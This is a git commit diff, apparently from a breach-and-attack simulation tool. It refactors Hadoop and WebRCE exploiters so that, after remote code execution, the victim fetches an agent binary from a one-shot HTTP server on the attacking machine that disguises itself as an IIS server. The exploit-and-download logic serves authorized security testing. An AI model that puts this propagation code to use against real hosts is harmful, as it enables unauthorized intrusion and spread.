Use IAgentRepository in Hadoop/WebRCE exploiter

This commit is contained in:
Mike Salvatore 2022-02-28 20:08:39 -05:00
parent 86c18b556f
commit 1b1b68f6a6
4 changed files with 47 additions and 27 deletions

View File

@ -42,13 +42,18 @@ class HadoopExploiter(WebRCE):
self.add_vulnerable_urls(urls, True) self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls: if not self.vulnerable_urls:
return self.exploit_result return self.exploit_result
paths = self.get_monkey_paths()
if not paths:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
try: try:
command = self._build_command(paths["dest_path"], http_path) dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
except KeyError:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, dropper_target_path, self.agent_repository
)
try:
command = self._build_command(dropper_target_path, http_path)
if self.exploit(self.vulnerable_urls[0], command): if self.exploit(self.vulnerable_urls[0], command):
self.add_executed_cmd(command) self.add_executed_cmd(command)

View File

@ -28,7 +28,9 @@ class HTTPTools(object):
return http_path, http_thread return http_path, http_thread
@staticmethod @staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None): def create_locked_transfer(
host, dropper_target_path, agent_repository, local_ip=None, local_port=None
):
""" """
Create http server for file transfer with a lock Create http server for file transfer with a lock
:param host: Variable with target's information :param host: Variable with target's information
@ -50,12 +52,13 @@ class HTTPTools(object):
logger.error("Firewall is not allowed to listen for incomming ports. Aborting") logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) httpd = LockedHTTPServer(
local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock
)
httpd.start() httpd.start()
lock.acquire() lock.acquire()
return ( return (
"http://%s:%s/%s" "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])),
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
httpd, httpd,
) )

View File

@ -292,11 +292,12 @@ class WebRCE(HostExploiter):
if not self.host.os["type"]: if not self.host.os["type"]:
logger.error("Unknown target's os type. Skipping.") logger.error("Unknown target's os type. Skipping.")
return False return False
paths = self.get_monkey_paths()
if not paths: dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
return False
# Create server for http download and wait for it's startup. # Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, dropper_target_path, self.agent_repository
)
if not http_path: if not http_path:
logger.debug("Exploiter failed, http transfer creation failed.") logger.debug("Exploiter failed, http transfer creation failed.")
return False return False
@ -304,10 +305,10 @@ class WebRCE(HostExploiter):
# Choose command: # Choose command:
if not commands: if not commands:
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
command = self.get_command(paths["dest_path"], http_path, commands) command = self.get_command(dropper_target_path, http_path, commands)
resp = self.exploit(url, command) resp = self.exploit(url, command)
self.add_executed_cmd(command) self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path) resp = self.run_backup_commands(resp, url, dropper_target_path, http_path)
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
@ -316,7 +317,7 @@ class WebRCE(HostExploiter):
if resp is False: if resp is False:
return resp return resp
else: else:
return {"response": resp, "path": paths["dest_path"]} return {"response": resp, "path": dropper_target_path}
def change_permissions(self, url, path, command=None): def change_permissions(self, url, path, command=None):
""" """

View File

@ -1,5 +1,4 @@
import http.server import http.server
import os.path
import select import select
import socket import socket
import threading import threading
@ -7,7 +6,6 @@ import urllib
from logging import getLogger from logging import getLogger
from urllib.parse import urlsplit from urllib.parse import urlsplit
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network.tools import get_interface_to_target from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
@ -16,7 +14,8 @@ logger = getLogger(__name__)
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler): class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1" protocol_version = "HTTP/1.1"
filename = "" victim_os = ""
agent_repository = None
def version_string(self): def version_string(self):
return "Microsoft-IIS/7.5." return "Microsoft-IIS/7.5."
@ -46,7 +45,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
total += chunk total += chunk
start_range += chunk start_range += chunk
if f.tell() == monkeyfs.getsize(self.filename): if f.tell() == len(f.getbuffer()):
if self.report_download(self.client_address): if self.report_download(self.client_address):
self.close_connection = 1 self.close_connection = 1
@ -59,15 +58,15 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
f.close() f.close()
def send_head(self): def send_head(self):
if self.path != "/" + urllib.parse.quote(os.path.basename(self.filename)): if self.path != "/" + urllib.parse.quote(self.victim_os):
self.send_error(500, "") self.send_error(500, "")
return None, 0, 0 return None, 0, 0
try: try:
f = monkeyfs.open(self.filename, "rb") f = self.agent_repository.get_agent_binary(self.victim_os)
except IOError: except IOError:
self.send_error(404, "File not found") self.send_error(404, "File not found")
return None, 0, 0 return None, 0, 0
size = monkeyfs.getsize(self.filename) size = len(f.getbuffer())
start_range = 0 start_range = 0
end_range = size end_range = size
@ -169,10 +168,21 @@ class LockedHTTPServer(threading.Thread):
# Seconds to wait until server stops # Seconds to wait until server stops
STOP_TIMEOUT = 5 STOP_TIMEOUT = 5
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1): def __init__(
self,
local_ip,
local_port,
victim_os,
dropper_target_path,
agent_repository,
lock,
max_downloads=1,
):
self._local_ip = local_ip self._local_ip = local_ip
self._local_port = local_port self._local_port = local_port
self._filename = filename self._victim_os = victim_os
self._dropper_target_path = dropper_target_path
self._agent_repository = agent_repository
self.max_downloads = max_downloads self.max_downloads = max_downloads
self.downloads = 0 self.downloads = 0
self._stopped = False self._stopped = False
@ -185,7 +195,8 @@ class LockedHTTPServer(threading.Thread):
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
filename = self._filename victim_os = self._victim_os
agent_repository = self._agent_repository
@staticmethod @staticmethod
def report_download(dest=None): def report_download(dest=None):
@ -194,7 +205,7 @@ class LockedHTTPServer(threading.Thread):
TempHandler.ScanStatus.USED, TempHandler.ScanStatus.USED,
get_interface_to_target(dest[0]), get_interface_to_target(dest[0]),
dest[0], dest[0],
self._filename, self._dropper_target_path,
).send() ).send()
self.downloads += 1 self.downloads += 1
if not self.downloads < self.max_downloads: if not self.downloads < self.max_downloads: